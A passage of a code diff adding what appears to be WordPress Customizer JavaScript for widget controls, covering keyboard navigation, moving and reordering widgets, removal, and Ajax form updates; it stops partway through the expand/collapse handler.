+			this.$el.find( '.selected' ).removeClass( 'selected' );
+
+			// Reset search
+			this.collection.doSearch( '' );
+
+			if ( ! api.settings.browser.mobile ) {
+				this.$search.focus();
+			}
+		},
+
+		// Closes the panel
+		close: function( options ) {
+			options = options || {};
+
+			if ( options.returnFocus && this.currentSidebarControl ) {
+				this.currentSidebarControl.container.find( '.add-new-widget' ).focus();
+			}
+
+			this.currentSidebarControl = null;
+			this.selected = null;
+
+			$( 'body' ).removeClass( 'adding-widget' );
+
+			this.$search.val( '' );
+		},
+
+		// Add keyboard accessiblity to the panel
+		keyboardAccessible: function( event ) {
+			var isEnter = ( event.which === 13 ),
+				isEsc = ( event.which === 27 ),
+				isDown = ( event.which === 40 ),
+				isUp = ( event.which === 38 ),
+				isTab = ( event.which === 9 ),
+				isShift = ( event.shiftKey ),
+				selected = null,
+				firstVisible = this.$el.find( '> .widget-tpl:visible:first' ),
+				lastVisible = this.$el.find( '> .widget-tpl:visible:last' ),
+				isSearchFocused = $( event.target ).is( this.$search ),
+				isLastWidgetFocused = $( event.target ).is( '.widget-tpl:visible:last' );
+
+			if ( isDown || isUp ) {
+				if ( isDown ) {
+					if ( isSearchFocused ) {
+						selected = firstVisible;
+					} else if ( this.selected && this.selected.nextAll( '.widget-tpl:visible' ).length !== 0 ) {
+						selected = this.selected.nextAll( '.widget-tpl:visible:first' );
+					}
+				} else if ( isUp ) {
+					if ( isSearchFocused ) {
+						selected = lastVisible;
+					} else if ( this.selected && this.selected.prevAll( '.widget-tpl:visible' ).length !== 0 ) {
+						selected = this.selected.prevAll( '.widget-tpl:visible:first' );
+					}
+				}
+
+				this.select( selected );
+
+				if ( selected ) {
+					selected.focus();
+				} else {
+					this.$search.focus();
+				}
+
+				return;
+			}
+
+			// If enter pressed but nothing entered, don't do anything
+			if ( isEnter && ! this.$search.val() ) {
+				return;
+			}
+
+			if ( isEnter ) {
+				this.submit();
+			} else if ( isEsc ) {
+				this.close( { returnFocus: true } );
+			}
+
+			if ( this.currentSidebarControl && isTab && ( isShift && isSearchFocused || ! isShift && isLastWidgetFocused ) ) {
+				this.currentSidebarControl.container.find( '.add-new-widget' ).focus();
+				event.preventDefault();
+			}
+		}
+	});
+
+	/**
+	 * Handlers for the widget-synced event, organized by widget ID base.
+	 * Other widgets may provide their own update handlers by adding
+	 * listeners for the widget-synced event.
+	 */
+	api.Widgets.formSyncHandlers = {
+
+		/**
+		 * @param {jQuery.Event} e
+		 * @param {jQuery} widget
+		 * @param {String} newForm
+		 */
+		rss: function( e, widget, newForm ) {
+			var oldWidgetError = widget.find( '.widget-error:first' ),
+				newWidgetError = $( '<div>' + newForm + '</div>' ).find( '.widget-error:first' );
+
+			if ( oldWidgetError.length && newWidgetError.length ) {
+				oldWidgetError.replaceWith( newWidgetError );
+			} else if ( oldWidgetError.length ) {
+				oldWidgetError.remove();
+			} else if ( newWidgetError.length ) {
+				widget.find( '.widget-content:first' ).prepend( newWidgetError );
+			}
+		}
+	};
+
+	/**
+	 * wp.customize.Widgets.WidgetControl
+	 *
+	 * Customizer control for widgets.
+	 * Note that 'widget_form' must match the WP_Widget_Form_Customize_Control::$type
+	 *
+	 * @constructor
+	 * @augments wp.customize.Control
+	 */
+	api.Widgets.WidgetControl = api.Control.extend({
+		defaultExpandedArguments: {
+			duration: 'fast',
+			completeCallback: $.noop
+		},
+
+		/**
+		 * @since 4.1.0
+		 */
+		initialize: function( id, options ) {
+			var control = this;
+
+			control.widgetControlEmbedded = false;
+			control.widgetContentEmbedded = false;
+			control.expanded = new api.Value( false );
+			control.expandedArgumentsQueue = [];
+			control.expanded.bind( function( expanded ) {
+				var args = control.expandedArgumentsQueue.shift();
+				args = $.extend( {}, control.defaultExpandedArguments, args );
+				control.onChangeExpanded( expanded, args );
+			});
+			control.altNotice = true;
+
+			api.Control.prototype.initialize.call( control, id, options );
+		},
+
+		/**
+		 * Set up the control.
+		 *
+		 * @since 3.9.0
+		 */
+		ready: function() {
+			var control = this;
+
+			/*
+			 * Embed a placeholder once the section is expanded. The full widget
+			 * form content will be embedded once the control itself is expanded,
+			 * and at this point the widget-added event will be triggered.
+			 */
+			if ( ! control.section() ) {
+				control.embedWidgetControl();
+			} else {
+				api.section( control.section(), function( section ) {
+					var onExpanded = function( isExpanded ) {
+						if ( isExpanded ) {
+							control.embedWidgetControl();
+							section.expanded.unbind( onExpanded );
+						}
+					};
+					if ( section.expanded() ) {
+						onExpanded( true );
+					} else {
+						section.expanded.bind( onExpanded );
+					}
+				} );
+			}
+		},
+
+		/**
+		 * Embed the .widget element inside the li container.
+		 *
+		 * @since 4.4.0
+		 */
+		embedWidgetControl: function() {
+			var control = this, widgetControl;
+
+			if ( control.widgetControlEmbedded ) {
+				return;
+			}
+			control.widgetControlEmbedded = true;
+
+			widgetControl = $( control.params.widget_control );
+			control.container.append( widgetControl );
+
+			control._setupModel();
+			control._setupWideWidget();
+			control._setupControlToggle();
+
+			control._setupWidgetTitle();
+			control._setupReorderUI();
+			control._setupHighlightEffects();
+			control._setupUpdateUI();
+			control._setupRemoveUI();
+		},
+
+		/**
+		 * Embed the actual widget form inside of .widget-content and finally trigger the widget-added event.
+		 *
+		 * @since 4.4.0
+		 */
+		embedWidgetContent: function() {
+			var control = this, widgetContent;
+
+			control.embedWidgetControl();
+			if ( control.widgetContentEmbedded ) {
+				return;
+			}
+			control.widgetContentEmbedded = true;
+
+			// Update the notification container element now that the widget content has been embedded.
+			control.notifications.container = control.getNotificationsContainerElement();
+			control.notifications.render();
+
+			widgetContent = $( control.params.widget_content );
+			control.container.find( '.widget-content:first' ).append( widgetContent );
+
+			/*
+			 * Trigger widget-added event so that plugins can attach any event
+			 * listeners and dynamic UI elements.
+			 */
+			$( document ).trigger( 'widget-added', [ control.container.find( '.widget:first' ) ] );
+
+		},
+
+		/**
+		 * Handle changes to the setting
+		 */
+		_setupModel: function() {
+			var self = this, rememberSavedWidgetId;
+
+			// Remember saved widgets so we know which to trash (move to inactive widgets sidebar)
+			rememberSavedWidgetId = function() {
+				api.Widgets.savedWidgetIds[self.params.widget_id] = true;
+			};
+			api.bind( 'ready', rememberSavedWidgetId );
+			api.bind( 'saved', rememberSavedWidgetId );
+
+			this._updateCount = 0;
+			this.isWidgetUpdating = false;
+			this.liveUpdateMode = true;
+
+			// Update widget whenever model changes
+			this.setting.bind( function( to, from ) {
+				if ( ! _( from ).isEqual( to ) && ! self.isWidgetUpdating ) {
+					self.updateWidget( { instance: to } );
+				}
+			} );
+		},
+
+		/**
+		 * Add special behaviors for wide widget controls
+		 */
+		_setupWideWidget: function() {
+			var self = this, $widgetInside, $widgetForm, $customizeSidebar,
+				$themeControlsContainer, positionWidget;
+
+			if ( ! this.params.is_wide || $( window ).width() <= 640 /* max-width breakpoint in customize-controls.css */ ) {
+				return;
+			}
+
+			$widgetInside = this.container.find( '.widget-inside' );
+			$widgetForm = $widgetInside.find( '> .form' );
+			$customizeSidebar = $( '.wp-full-overlay-sidebar-content:first' );
+			this.container.addClass( 'wide-widget-control' );
+
+			this.container.find( '.form:first' ).css( {
+				'max-width': this.params.width,
+				'min-height': this.params.height
+			} );
+
+			/**
+			 * Keep the widget-inside positioned so the top of fixed-positioned
+			 * element is at the same top position as the widget-top. When the
+			 * widget-top is scrolled out of view, keep the widget-top in view;
+			 * likewise, don't allow the widget to drop off the bottom of the window.
+			 * If a widget is too tall to fit in the window, don't let the height
+			 * exceed the window height so that the contents of the widget control
+			 * will become scrollable (overflow:auto).
+			 */
+			positionWidget = function() {
+				var offsetTop = self.container.offset().top,
+					windowHeight = $( window ).height(),
+					formHeight = $widgetForm.outerHeight(),
+					top;
+				$widgetInside.css( 'max-height', windowHeight );
+				top = Math.max(
+					0, // prevent top from going off screen
+					Math.min(
+						Math.max( offsetTop, 0 ), // distance widget in panel is from top of screen
+						windowHeight - formHeight // flush up against bottom of screen
+					)
+				);
+				$widgetInside.css( 'top', top );
+			};
+
+			$themeControlsContainer = $( '#customize-theme-controls' );
+			this.container.on( 'expand', function() {
+				positionWidget();
+				$customizeSidebar.on( 'scroll', positionWidget );
+				$( window ).on( 'resize', positionWidget );
+				$themeControlsContainer.on( 'expanded collapsed', positionWidget );
+			} );
+			this.container.on( 'collapsed', function() {
+				$customizeSidebar.off( 'scroll', positionWidget );
+				$( window ).off( 'resize', positionWidget );
+				$themeControlsContainer.off( 'expanded collapsed', positionWidget );
+			} );
+
+			// Reposition whenever a sidebar's widgets are changed
+			api.each( function( setting ) {
+				if ( 0 === setting.id.indexOf( 'sidebars_widgets[' ) ) {
+					setting.bind( function() {
+						if ( self.container.hasClass( 'expanded' ) ) {
+							positionWidget();
+						}
+					} );
+				}
+			} );
+		},
+
+		/**
+		 * Show/hide the control when clicking on the form title, when clicking
+		 * the close button
+		 */
+		_setupControlToggle: function() {
+			var self = this, $closeBtn;
+
+			this.container.find( '.widget-top' ).on( 'click', function( e ) {
+				e.preventDefault();
+				var sidebarWidgetsControl = self.getSidebarWidgetsControl();
+				if ( sidebarWidgetsControl.isReordering ) {
+					return;
+				}
+				self.expanded( ! self.expanded() );
+			} );
+
+			$closeBtn = this.container.find( '.widget-control-close' );
+			$closeBtn.on( 'click', function( e ) {
+				e.preventDefault();
+				self.collapse();
+				self.container.find( '.widget-top .widget-action:first' ).focus(); // keyboard accessibility
+			} );
+		},
+
+		/**
+		 * Update the title of the form if a title field is entered
+		 */
+		_setupWidgetTitle: function() {
+			var self = this, updateTitle;
+
+			updateTitle = function() {
+				var title = self.setting().title,
+					inWidgetTitle = self.container.find( '.in-widget-title' );
+
+				if ( title ) {
+					inWidgetTitle.text( ': ' + title );
+				} else {
+					inWidgetTitle.text( '' );
+				}
+			};
+			this.setting.bind( updateTitle );
+			updateTitle();
+		},
+
+		/**
+		 * Set up the widget-reorder-nav
+		 */
+		_setupReorderUI: function() {
+			var self = this, selectSidebarItem, $moveWidgetArea,
+				$reorderNav, updateAvailableSidebars, template;
+
+			/**
+			 * select the provided sidebar list item in the move widget area
+			 *
+			 * @param {jQuery} li
+			 */
+			selectSidebarItem = function( li ) {
+				li.siblings( '.selected' ).removeClass( 'selected' );
+				li.addClass( 'selected' );
+				var isSelfSidebar = ( li.data( 'id' ) === self.params.sidebar_id );
+				self.container.find( '.move-widget-btn' ).prop( 'disabled', isSelfSidebar );
+			};
+
+			/**
+			 * Add the widget reordering elements to the widget control
+			 */
+			this.container.find( '.widget-title-action' ).after( $( api.Widgets.data.tpl.widgetReorderNav ) );
+
+
+			template = _.template( api.Widgets.data.tpl.moveWidgetArea );
+			$moveWidgetArea = $( template( {
+					sidebars: _( api.Widgets.registeredSidebars.toArray() ).pluck( 'attributes' )
+				} )
+			);
+			this.container.find( '.widget-top' ).after( $moveWidgetArea );
+
+			/**
+			 * Update available sidebars when their rendered state changes
+			 */
+			updateAvailableSidebars = function() {
+				var $sidebarItems = $moveWidgetArea.find( 'li' ), selfSidebarItem,
+					renderedSidebarCount = 0;
+
+				selfSidebarItem = $sidebarItems.filter( function(){
+					return $( this ).data( 'id' ) === self.params.sidebar_id;
+				} );
+
+				$sidebarItems.each( function() {
+					var li = $( this ),
+						sidebarId, sidebar, sidebarIsRendered;
+
+					sidebarId = li.data( 'id' );
+					sidebar = api.Widgets.registeredSidebars.get( sidebarId );
+					sidebarIsRendered = sidebar.get( 'is_rendered' );
+
+					li.toggle( sidebarIsRendered );
+
+					if ( sidebarIsRendered ) {
+						renderedSidebarCount += 1;
+					}
+
+					if ( li.hasClass( 'selected' ) && ! sidebarIsRendered ) {
+						selectSidebarItem( selfSidebarItem );
+					}
+				} );
+
+				if ( renderedSidebarCount > 1 ) {
+					self.container.find( '.move-widget' ).show();
+				} else {
+					self.container.find( '.move-widget' ).hide();
+				}
+			};
+
+			updateAvailableSidebars();
+			api.Widgets.registeredSidebars.on( 'change:is_rendered', updateAvailableSidebars );
+
+			/**
+			 * Handle clicks for up/down/move on the reorder nav
+			 */
+			$reorderNav = this.container.find( '.widget-reorder-nav' );
+			$reorderNav.find( '.move-widget, .move-widget-down, .move-widget-up' ).each( function() {
+				$( this ).prepend( self.container.find( '.widget-title' ).text() + ': ' );
+			} ).on( 'click keypress', function( event ) {
+				if ( event.type === 'keypress' && ( event.which !== 13 && event.which !== 32 ) ) {
+					return;
+				}
+				$( this ).focus();
+
+				if ( $( this ).is( '.move-widget' ) ) {
+					self.toggleWidgetMoveArea();
+				} else {
+					var isMoveDown = $( this ).is( '.move-widget-down' ),
+						isMoveUp = $( this ).is( '.move-widget-up' ),
+						i = self.getWidgetSidebarPosition();
+
+					if ( ( isMoveUp && i === 0 ) || ( isMoveDown && i === self.getSidebarWidgetsControl().setting().length - 1 ) ) {
+						return;
+					}
+
+					if ( isMoveUp ) {
+						self.moveUp();
+						wp.a11y.speak( l10n.widgetMovedUp );
+					} else {
+						self.moveDown();
+						wp.a11y.speak( l10n.widgetMovedDown );
+					}
+
+					$( this ).focus(); // re-focus after the container was moved
+				}
+			} );
+
+			/**
+			 * Handle selecting a sidebar to move to
+			 */
+			this.container.find( '.widget-area-select' ).on( 'click keypress', 'li', function( event ) {
+				if ( event.type === 'keypress' && ( event.which !== 13 && event.which !== 32 ) ) {
+					return;
+				}
+				event.preventDefault();
+				selectSidebarItem( $( this ) );
+			} );
+
+			/**
+			 * Move widget to another sidebar
+			 */
+			this.container.find( '.move-widget-btn' ).click( function() {
+				self.getSidebarWidgetsControl().toggleReordering( false );
+
+				var oldSidebarId = self.params.sidebar_id,
+					newSidebarId = self.container.find( '.widget-area-select li.selected' ).data( 'id' ),
+					oldSidebarWidgetsSetting, newSidebarWidgetsSetting,
+					oldSidebarWidgetIds, newSidebarWidgetIds, i;
+
+				oldSidebarWidgetsSetting = api( 'sidebars_widgets[' + oldSidebarId + ']' );
+				newSidebarWidgetsSetting = api( 'sidebars_widgets[' + newSidebarId + ']' );
+				oldSidebarWidgetIds = Array.prototype.slice.call( oldSidebarWidgetsSetting() );
+				newSidebarWidgetIds = Array.prototype.slice.call( newSidebarWidgetsSetting() );
+
+				i = self.getWidgetSidebarPosition();
+				oldSidebarWidgetIds.splice( i, 1 );
+				newSidebarWidgetIds.push( self.params.widget_id );
+
+				oldSidebarWidgetsSetting( oldSidebarWidgetIds );
+				newSidebarWidgetsSetting( newSidebarWidgetIds );
+
+				self.focus();
+			} );
+		},
+
+		/**
+		 * Highlight widgets in preview when interacted with in the Customizer
+		 */
+		_setupHighlightEffects: function() {
+			var self = this;
+
+			// Highlight whenever hovering or clicking over the form
+			this.container.on( 'mouseenter click', function() {
+				self.setting.previewer.send( 'highlight-widget', self.params.widget_id );
+			} );
+
+			// Highlight when the setting is updated
+			this.setting.bind( function() {
+				self.setting.previewer.send( 'highlight-widget', self.params.widget_id );
+			} );
+		},
+
+		/**
+		 * Set up event handlers for widget updating
+		 */
+		_setupUpdateUI: function() {
+			var self = this, $widgetRoot, $widgetContent,
+				$saveBtn, updateWidgetDebounced, formSyncHandler;
+
+			$widgetRoot = this.container.find( '.widget:first' );
+			$widgetContent = $widgetRoot.find( '.widget-content:first' );
+
+			// Configure update button
+			$saveBtn = this.container.find( '.widget-control-save' );
+			$saveBtn.val( l10n.saveBtnLabel );
+			$saveBtn.attr( 'title', l10n.saveBtnTooltip );
+			$saveBtn.removeClass( 'button-primary' );
+			$saveBtn.on( 'click', function( e ) {
+				e.preventDefault();
+				self.updateWidget( { disable_form: true } ); // @todo disable_form is unused?
+			} );
+
+			updateWidgetDebounced = _.debounce( function() {
+				self.updateWidget();
+			}, 250 );
+
+			// Trigger widget form update when hitting Enter within an input
+			$widgetContent.on( 'keydown', 'input', function( e ) {
+				if ( 13 === e.which ) { // Enter
+					e.preventDefault();
+					self.updateWidget( { ignoreActiveElement: true } );
+				}
+			} );
+
+			// Handle widgets that support live previews
+			$widgetContent.on( 'change input propertychange', ':input', function( e ) {
+				if ( ! self.liveUpdateMode ) {
+					return;
+				}
+				if ( e.type === 'change' || ( this.checkValidity && this.checkValidity() ) ) {
+					updateWidgetDebounced();
+				}
+			} );
+
+			// Remove loading indicators when the setting is saved and the preview updates
+			this.setting.previewer.channel.bind( 'synced', function() {
+				self.container.removeClass( 'previewer-loading' );
+			} );
+
+			api.previewer.bind( 'widget-updated', function( updatedWidgetId ) {
+				if ( updatedWidgetId === self.params.widget_id ) {
+					self.container.removeClass( 'previewer-loading' );
+				}
+			} );
+
+			formSyncHandler = api.Widgets.formSyncHandlers[ this.params.widget_id_base ];
+			if ( formSyncHandler ) {
+				$( document ).on( 'widget-synced', function( e, widget ) {
+					if ( $widgetRoot.is( widget ) ) {
+						formSyncHandler.apply( document, arguments );
+					}
+				} );
+			}
+		},
+
+		/**
+		 * Update widget control to indicate whether it is currently rendered.
+		 *
+		 * Overrides api.Control.toggle()
+		 *
+		 * @since 4.1.0
+		 *
+		 * @param {Boolean}   active
+		 * @param {Object}    args
+		 * @param {Callback}  args.completeCallback
+		 */
+		onChangeActive: function ( active, args ) {
+			// Note: there is a second 'args' parameter being passed, merged on top of this.defaultActiveArguments
+			this.container.toggleClass( 'widget-rendered', active );
+			if ( args.completeCallback ) {
+				args.completeCallback();
+			}
+		},
+
+		/**
+		 * Set up event handlers for widget removal
+		 */
+		_setupRemoveUI: function() {
+			var self = this, $removeBtn, replaceDeleteWithRemove;
+
+			// Configure remove button
+			$removeBtn = this.container.find( '.widget-control-remove' );
+			$removeBtn.on( 'click', function( e ) {
+				e.preventDefault();
+
+				// Find an adjacent element to add focus to when this widget goes away
+				var $adjacentFocusTarget;
+				if ( self.container.next().is( '.customize-control-widget_form' ) ) {
+					$adjacentFocusTarget = self.container.next().find( '.widget-action:first' );
+				} else if ( self.container.prev().is( '.customize-control-widget_form' ) ) {
+					$adjacentFocusTarget = self.container.prev().find( '.widget-action:first' );
+				} else {
+					$adjacentFocusTarget = self.container.next( '.customize-control-sidebar_widgets' ).find( '.add-new-widget:first' );
+				}
+
+				self.container.slideUp( function() {
+					var sidebarsWidgetsControl = api.Widgets.getSidebarWidgetControlContainingWidget( self.params.widget_id ),
+						sidebarWidgetIds, i;
+
+					if ( ! sidebarsWidgetsControl ) {
+						return;
+					}
+
+					sidebarWidgetIds = sidebarsWidgetsControl.setting().slice();
+					i = _.indexOf( sidebarWidgetIds, self.params.widget_id );
+					if ( -1 === i ) {
+						return;
+					}
+
+					sidebarWidgetIds.splice( i, 1 );
+					sidebarsWidgetsControl.setting( sidebarWidgetIds );
+
+					$adjacentFocusTarget.focus(); // keyboard accessibility
+				} );
+			} );
+
+			replaceDeleteWithRemove = function() {
+				$removeBtn.text( l10n.removeBtnLabel ); // wp_widget_control() outputs the button as "Delete"
+				$removeBtn.attr( 'title', l10n.removeBtnTooltip );
+			};
+
+			if ( this.params.is_new ) {
+				api.bind( 'saved', replaceDeleteWithRemove );
+			} else {
+				replaceDeleteWithRemove();
+			}
+		},
+
+		/**
+		 * Find all inputs in a widget container that should be considered when
+		 * comparing the loaded form with the sanitized form, whose fields will
+		 * be aligned to copy the sanitized over. The elements returned by this
+		 * are passed into this._getInputsSignature(), and they are iterated
+		 * over when copying sanitized values over to the form loaded.
+		 *
+		 * @param {jQuery} container element in which to look for inputs
+		 * @returns {jQuery} inputs
+		 * @private
+		 */
+		_getInputs: function( container ) {
+			return $( container ).find( ':input[name]' );
+		},
+
+		/**
+		 * Iterate over supplied inputs and create a signature string for all of them together.
+		 * This string can be used to compare whether or not the form has all of the same fields.
+		 *
+		 * @param {jQuery} inputs
+		 * @returns {string}
+		 * @private
+		 */
+		_getInputsSignature: function( inputs ) {
+			var inputsSignatures = _( inputs ).map( function( input ) {
+				var $input = $( input ), signatureParts;
+
+				if ( $input.is( ':checkbox, :radio' ) ) {
+					signatureParts = [ $input.attr( 'id' ), $input.attr( 'name' ), $input.prop( 'value' ) ];
+				} else {
+					signatureParts = [ $input.attr( 'id' ), $input.attr( 'name' ) ];
+				}
+
+				return signatureParts.join( ',' );
+			} );
+
+			return inputsSignatures.join( ';' );
+		},
+
+		/**
+		 * Get the state for an input depending on its type.
+		 *
+		 * @param {jQuery|Element} input
+		 * @returns {string|boolean|array|*}
+		 * @private
+		 */
+		_getInputState: function( input ) {
+			input = $( input );
+			if ( input.is( ':radio, :checkbox' ) ) {
+				return input.prop( 'checked' );
+			} else if ( input.is( 'select[multiple]' ) ) {
+				return input.find( 'option:selected' ).map( function () {
+					return $( this ).val();
+				} ).get();
+			} else {
+				return input.val();
+			}
+		},
+
+		/**
+		 * Update an input's state based on its type.
+		 *
+		 * @param {jQuery|Element} input
+		 * @param {string|boolean|array|*} state
+		 * @private
+		 */
+		_setInputState: function ( input, state ) {
+			input = $( input );
+			if ( input.is( ':radio, :checkbox' ) ) {
+				input.prop( 'checked', state );
+			} else if ( input.is( 'select[multiple]' ) ) {
+				if ( ! $.isArray( state ) ) {
+					state = [];
+				} else {
+					// Make sure all state items are strings since the DOM value is a string
+					state = _.map( state, function ( value ) {
+						return String( value );
+					} );
+				}
+				input.find( 'option' ).each( function () {
+					$( this ).prop( 'selected', -1 !== _.indexOf( state, String( this.value ) ) );
+				} );
+			} else {
+				input.val( state );
+			}
+		},
+
+		/***********************************************************************
+		 * Begin public API methods
+		 **********************************************************************/
+
+		/**
+		 * @return {wp.customize.controlConstructor.sidebar_widgets[]}
+		 */
+		getSidebarWidgetsControl: function() {
+			var settingId, sidebarWidgetsControl;
+
+			settingId = 'sidebars_widgets[' + this.params.sidebar_id + ']';
+			sidebarWidgetsControl = api.control( settingId );
+
+			if ( ! sidebarWidgetsControl ) {
+				return;
+			}
+
+			return sidebarWidgetsControl;
+		},
+
+		/**
+		 * Submit the widget form via Ajax and get back the updated instance,
+		 * along with the new widget control form to render.
+		 *
+		 * @param {object} [args]
+		 * @param {Object|null} [args.instance=null]  When the model changes, the instance is sent here; otherwise, the inputs from the form are used
+		 * @param {Function|null} [args.complete=null]  Function which is called when the request finishes. Context is bound to the control. First argument is any error. Following arguments are for success.
+		 * @param {Boolean} [args.ignoreActiveElement=false] Whether or not updating a field will be deferred if focus is still on the element.
+		 */
+		updateWidget: function( args ) {
+			var self = this, instanceOverride, completeCallback, $widgetRoot, $widgetContent,
+				updateNumber, params, data, $inputs, processing, jqxhr, isChanged;
+
+			// The updateWidget logic requires that the form fields to be fully present.
+			self.embedWidgetContent();
+
+			args = $.extend( {
+				instance: null,
+				complete: null,
+				ignoreActiveElement: false
+			}, args );
+
+			instanceOverride = args.instance;
+			completeCallback = args.complete;
+
+			this._updateCount += 1;
+			updateNumber = this._updateCount;
+
+			$widgetRoot = this.container.find( '.widget:first' );
+			$widgetContent = $widgetRoot.find( '.widget-content:first' );
+
+			// Remove a previous error message
+			$widgetContent.find( '.widget-error' ).remove();
+
+			this.container.addClass( 'widget-form-loading' );
+			this.container.addClass( 'previewer-loading' );
+			processing = api.state( 'processing' );
+			processing( processing() + 1 );
+
+			if ( ! this.liveUpdateMode ) {
+				this.container.addClass( 'widget-form-disabled' );
+			}
+
+			params = {};
+			params.action = 'update-widget';
+			params.wp_customize = 'on';
+			params.nonce = api.settings.nonce['update-widget'];
+			params.customize_theme = api.settings.theme.stylesheet;
+			params.customized = wp.customize.previewer.query().customized;
+
+			data = $.param( params );
+			$inputs = this._getInputs( $widgetContent );
+
+			// Store the value we're submitting in data so that when the response comes back,
+			// we know if it got sanitized; if there is no difference in the sanitized value,
+			// then we do not need to touch the UI and mess up the user's ongoing editing.
+			$inputs.each( function() {
+				$( this ).data( 'state' + updateNumber, self._getInputState( this ) );
+			} );
+
+			if ( instanceOverride ) {
+				data += '&' + $.param( { 'sanitized_widget_setting': JSON.stringify( instanceOverride ) } );
+			} else {
+				data += '&' + $inputs.serialize();
+			}
+			data += '&' + $widgetContent.find( '~ :input' ).serialize();
+
+			if ( this._previousUpdateRequest ) {
+				this._previousUpdateRequest.abort();
+			}
+			jqxhr = $.post( wp.ajax.settings.url, data );
+			this._previousUpdateRequest = jqxhr;
+
+			jqxhr.done( function( r ) {
+				var message, sanitizedForm,	$sanitizedInputs, hasSameInputsInResponse,
+					isLiveUpdateAborted = false;
+
+				// Check if the user is logged out.
+				if ( '0' === r ) {
+					api.previewer.preview.iframe.hide();
+					api.previewer.login().done( function() {
+						self.updateWidget( args );
+						api.previewer.preview.iframe.show();
+					} );
+					return;
+				}
+
+				// Check for cheaters.
+				if ( '-1' === r ) {
+					api.previewer.cheatin();
+					return;
+				}
+
+				if ( r.success ) {
+					sanitizedForm = $( '<div>' + r.data.form + '</div>' );
+					$sanitizedInputs = self._getInputs( sanitizedForm );
+					hasSameInputsInResponse = self._getInputsSignature( $inputs ) === self._getInputsSignature( $sanitizedInputs );
+
+					// Restore live update mode if sanitized fields are now aligned with the existing fields
+					if ( hasSameInputsInResponse && ! self.liveUpdateMode ) {
+						self.liveUpdateMode = true;
+						self.container.removeClass( 'widget-form-disabled' );
+						self.container.find( 'input[name="savewidget"]' ).hide();
+					}
+
+					// Sync sanitized field states to existing fields if they are aligned
+					if ( hasSameInputsInResponse && self.liveUpdateMode ) {
+						$inputs.each( function( i ) {
+							var $input = $( this ),
+								$sanitizedInput = $( $sanitizedInputs[i] ),
+								submittedState, sanitizedState,	canUpdateState;
+
+							submittedState = $input.data( 'state' + updateNumber );
+							sanitizedState = self._getInputState( $sanitizedInput );
+							$input.data( 'sanitized', sanitizedState );
+
+							canUpdateState = ( ! _.isEqual( submittedState, sanitizedState ) && ( args.ignoreActiveElement || ! $input.is( document.activeElement ) ) );
+							if ( canUpdateState ) {
+								self._setInputState( $input, sanitizedState );
+							}
+						} );
+
+						$( document ).trigger( 'widget-synced', [ $widgetRoot, r.data.form ] );
+
+					// Otherwise, if sanitized fields are not aligned with existing fields, disable live update mode if enabled
+					} else if ( self.liveUpdateMode ) {
+						self.liveUpdateMode = false;
+						self.container.find( 'input[name="savewidget"]' ).show();
+						isLiveUpdateAborted = true;
+
+					// Otherwise, replace existing form with the sanitized form
+					} else {
+						$widgetContent.html( r.data.form );
+
+						self.container.removeClass( 'widget-form-disabled' );
+
+						$( document ).trigger( 'widget-updated', [ $widgetRoot ] );
+					}
+
+					/**
+					 * If the old instance is identical to the new one, there is nothing new
+					 * needing to be rendered, and so we can preempt the event for the
+					 * preview finishing loading.
+					 */
+					isChanged = ! isLiveUpdateAborted && ! _( self.setting() ).isEqual( r.data.instance );
+					if ( isChanged ) {
+						self.isWidgetUpdating = true; // suppress triggering another updateWidget
+						self.setting( r.data.instance );
+						self.isWidgetUpdating = false;
+					} else {
+						// no change was made, so stop the spinner now instead of when the preview would updates
+						self.container.removeClass( 'previewer-loading' );
+					}
+
+					if ( completeCallback ) {
+						completeCallback.call( self, null, { noChange: ! isChanged, ajaxFinished: true } );
+					}
+				} else {
+					// General error message
+					message = l10n.error;
+
+					if ( r.data && r.data.message ) {
+						message = r.data.message;
+					}
+
+					if ( completeCallback ) {
+						completeCallback.call( self, message );
+					} else {
+						$widgetContent.prepend( '<p class="widget-error"><strong>' + message + '</strong></p>' );
+					}
+				}
+			} );
+
+			jqxhr.fail( function( jqXHR, textStatus ) {
+				if ( completeCallback ) {
+					completeCallback.call( self, textStatus );
+				}
+			} );
+
+			jqxhr.always( function() {
+				self.container.removeClass( 'widget-form-loading' );
+
+				$inputs.each( function() {
+					$( this ).removeData( 'state' + updateNumber );
+				} );
+
+				processing( processing() - 1 );
+			} );
+		},
+
+		/**
+		 * Expand the accordion section containing a control
+		 */
+		expandControlSection: function() {
+			api.Control.prototype.expand.call( this );
+		},
+
+		/**
+		 * @since 4.1.0
+		 *
+		 * @param {Boolean} expanded
+		 * @param {Object} [params]
+		 * @returns {Boolean} false if state already applied
+		 */
+		_toggleExpanded: api.Section.prototype._toggleExpanded,
+
+		/**
+		 * @since 4.1.0
+		 *
+		 * @param {Object} [params]
+		 * @returns {Boolean} false if already expanded
+		 */
+		expand: api.Section.prototype.expand,
+
+		/**
+		 * Expand the widget form control
+		 *
+		 * @deprecated 4.1.0 Use this.expand() instead.
+		 */
+		expandForm: function() {
+			this.expand();
+		},
+
+		/**
+		 * @since 4.1.0
+		 *
+		 * @param {Object} [params]
+		 * @returns {Boolean} false if already collapsed
+		 */
+		collapse: api.Section.prototype.collapse,
+
+		/**
+		 * Collapse the widget form control
+		 *
+		 * @deprecated 4.1.0 Use this.collapse() instead.
+		 */
+		collapseForm: function() {
+			this.collapse();
+		},
+
+		/**
+		 * Expand or collapse the widget control
+		 *
+		 * @deprecated this is poor naming, and it is better to directly set control.expanded( showOrHide )
+		 *
+		 * @param {boolean|undefined} [showOrHide] If not supplied, will be inverse of current visibility
+		 */
+		toggleForm: function( showOrHide ) {
+			if ( typeof showOrHide === 'undefined' ) {
+				showOrHide = ! this.expanded();
+			}
+			this.expanded( showOrHide );
+		},
+
+		/**
+		 * Respond to change in the expanded state.
+		 *
+		 * @param {Boolean} expanded
+		 * @param {Object} args  merged on top of this.defaultActiveArguments
+		 */
+		onChangeExpanded: function ( expanded, args ) {
+			var self = this, $widget, $inside, complete, prevComplete, expandControl, $toggleBtn;
+
+			self.embedWidgetControl(); // Make sure the outer form is embedded so that the expanded state can be set in the UI.
+			if ( expanded ) {
+				self.embedWidgetContent();
+			}
+
+			// If the expanded state is unchanged only manipulate container expanded states
+			if ( args.unchanged ) {
+				if ( expanded ) {
+					api.Control.prototype.expand.call( self, {
+						completeCallback:  args.completeCallback
+					});
+				}
+				return;
+			}
+
+			$widget = this.container.find( 'div.widget:first' );
+			$inside = $widget.find( '.widget-inside:first' );
+			$toggleBtn = this.container.find( '.widget-top button.widget-action' );
+
+			expandControl = function() {
+
+				// Close all other widget controls before expanding this one
+				api.control.each( function( otherControl ) {
+					if ( self.params.type === otherControl.params.type && self !== otherControl ) {
